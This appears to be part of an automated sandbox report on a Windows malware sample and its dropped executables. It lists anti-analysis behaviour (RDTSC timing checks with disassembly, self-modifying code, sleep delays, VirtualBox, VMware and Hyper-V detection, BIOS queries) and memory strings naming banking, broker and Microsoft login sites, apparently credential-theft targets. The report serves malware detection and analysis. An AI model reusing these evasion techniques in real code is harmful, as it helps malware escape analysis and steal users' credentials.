Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB754 second address: 5EB758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB758 second address: 5EB75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB75E second address: 5EB776 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F8C34D41AD6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB776 second address: 5EB7F8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C3524ADA4h 0x00000008 jmp 00007F8C3524AD9Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 movsx ecx, cx 0x00000013 push 00000003h 0x00000015 mov edx, 0360D730h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F8C3524AD98h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D2A24h], esi 0x0000003c push 00000003h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F8C3524AD98h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 0000001Bh 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 push 7DA31446h 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push ecx 0x00000061 pop ecx 0x00000062 jnc 00007F8C3524AD96h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB7F8 second address: 5EB7FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB7FE second address: 5EB841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 425CEBBAh 0x0000000f movsx esi, dx 0x00000012 jmp 00007F8C3524AD9Ah 0x00000017 lea ebx, dword ptr [ebp+12451316h] 0x0000001d mov dword ptr [ebp+122D1D47h], eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8C3524ADA8h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 5EB841 second address: 5EB847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60B471 second address: 60B47B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60B617 second address: 60B622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60B75F second address: 60B780 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C3524ADA6h 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60BA15 second address: 60BA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 601BE2 second address: 601BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C3524AD9Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60C3B4 second address: 60C3BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60C3BE second address: 60C3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60C3C2 second address: 60C3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 60C3CF second address: 60C3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612A1F second address: 612A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612A30 second address: 612A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612A36 second address: 612A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612EB5 second address: 612EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jc 00007F8C3524AD96h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612EC7 second address: 612ECC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 611FFD second address: 612001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 612001 second address: 612007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 613068 second address: 613094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F8C3524AD9Eh 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F8C3524AD9Eh 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 613094 second address: 6130A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	RDTSC instruction interceptor: First address: 61796E second address: 61797B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EEF1B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6EEE99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BAE33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 918973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Special instruction interceptor: First address: 6A4963 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Special instruction interceptor: First address: 1212E71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Special instruction interceptor: First address: 12AAED3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FB2E71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 104AED3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Special instruction interceptor: First address: 473EAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Special instruction interceptor: First address: C4EF1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Special instruction interceptor: First address: C4EE99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Special instruction interceptor: First address: E1AE33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Special instruction interceptor: First address: E78973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Special instruction interceptor: First address: 8DDC20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Special instruction interceptor: First address: A87F64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Special instruction interceptor: First address: 8DB18E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Special instruction interceptor: First address: B155F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Special instruction interceptor: First address: CADC63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Special instruction interceptor: First address: E57593 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Special instruction interceptor: First address: CADBBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Special instruction interceptor: First address: E67FA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Special instruction interceptor: First address: EE7AF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Special instruction interceptor: First address: CC2E71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Special instruction interceptor: First address: D5AED3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Special instruction interceptor: First address: 7ADC63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Special instruction interceptor: First address: 957593 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Special instruction interceptor: First address: 7ADBBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Special instruction interceptor: First address: 967FA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Special instruction interceptor: First address: 1162E71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Special instruction interceptor: First address: 9E7AF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Special instruction interceptor: First address: 11FAED3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Memory allocated: 54C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Memory allocated: 74C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Memory allocated: 5170000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Memory allocated: 53A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Memory allocated: 52C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Memory allocated: 50A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Memory allocated: 5190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Memory allocated: 50A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe

Code function: 5_2_006210B8 rdtsc

5_2_006210B8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_00AF72DD str word ptr [ecx+eax+00000001h]

0_3_00AF72DD

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 6662			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1684			Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 432	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe TID: 3984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2736	Thread sleep count: 104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2736	Thread sleep time: -208104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7128	Thread sleep count: 117 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7128	Thread sleep time: -234117s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 508	Thread sleep count: 273 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 508	Thread sleep time: -8190000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2896	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2896	Thread sleep time: -200100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5612	Thread sleep count: 6662 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5612	Thread sleep time: -13330662s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3412	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5612	Thread sleep count: 1684 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5612	Thread sleep time: -3369684s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe TID: 2632	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe TID: 3620	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe TID: 6840	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe TID: 6828	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe TID: 2816	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe TID: 5408	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe TID: 2144	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe TID: 2540	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Thread delayed: delay time: 922337203685477

Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2333692319.0000000005A2E000.00000004.00000800.00020000.00000000.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmp, QQVU8579GXGT7ENXLIPV.exe, 00000005.00000000.2334157806.00000000005F1000.00000080.00000001.01000000.00000006.sdmp, 1X626IF7XY5V3PR2WUE6.exe, 1X626IF7XY5V3PR2WUE6.exe, 00000006.00000002.2456031240.00000000011F5000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, skotes.exe, 00000007.00000002.2471921093.0000000000F95000.00000040.00000001.01000000.0000000C.sdmp, 26972fc2ff.exe, 0000000C.00000002.2977244284.0000000000A69000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, file.exe, 00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220336413.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218110887.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218789350.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218561038.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2220582846.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221060387.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2218972798.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217818575.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219800976.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.0000000001262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3182783096.0000000005756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2188211451.0000000005410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lqeMuUnwoUAFmVCh
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 26972fc2ff.exe, 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 9f543353fa.exe, 00000011.00000003.3183935323.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
